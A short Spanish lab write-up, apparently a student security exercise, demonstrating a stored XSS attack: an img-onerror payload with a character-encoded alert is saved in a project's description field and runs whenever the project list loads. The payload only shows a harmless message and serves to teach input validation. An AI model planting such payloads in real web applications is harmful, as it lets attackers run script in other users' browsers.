Práctica 7.2 - Ataque Stored XSS

Descripción del Ataque

En este ataque se introducirá una descripción maliciosa al crear un proyecto que contendrá código JavaScript que se ejecutará cada vez que se visualice el proyecto.

Payload Utilizado

```
<img src=x
   onerror="alert(
      String.fromCharCode(
         83,111,121,32,99,243,100,105,103,111,32,109,97,108,105,99,105,111,115,111,
         32,121,32,101,115,116,111,121,32,101,110,32,116,117,32,98,97,115,101,32,
         100,101,32,100,97,116,111,115,32,58,41
      )
   )"
>
```

Pasos del Ataque

1. **Crear proyecto malicioso:**
   - Navegar a la sección “Crear Proyecto”
   - Introducir el payload en el campo “Descripción”
   - Guardar el proyecto
2. **Activar el ataque:**
   - Navegar al listado de proyectos
   - El código se ejecuta automáticamente al cargar la página
3. **Resultado:**
   - Se muestra una alerta con el mensaje malicioso
   - Demuestra que código no validado se almacena y ejecuta desde la BD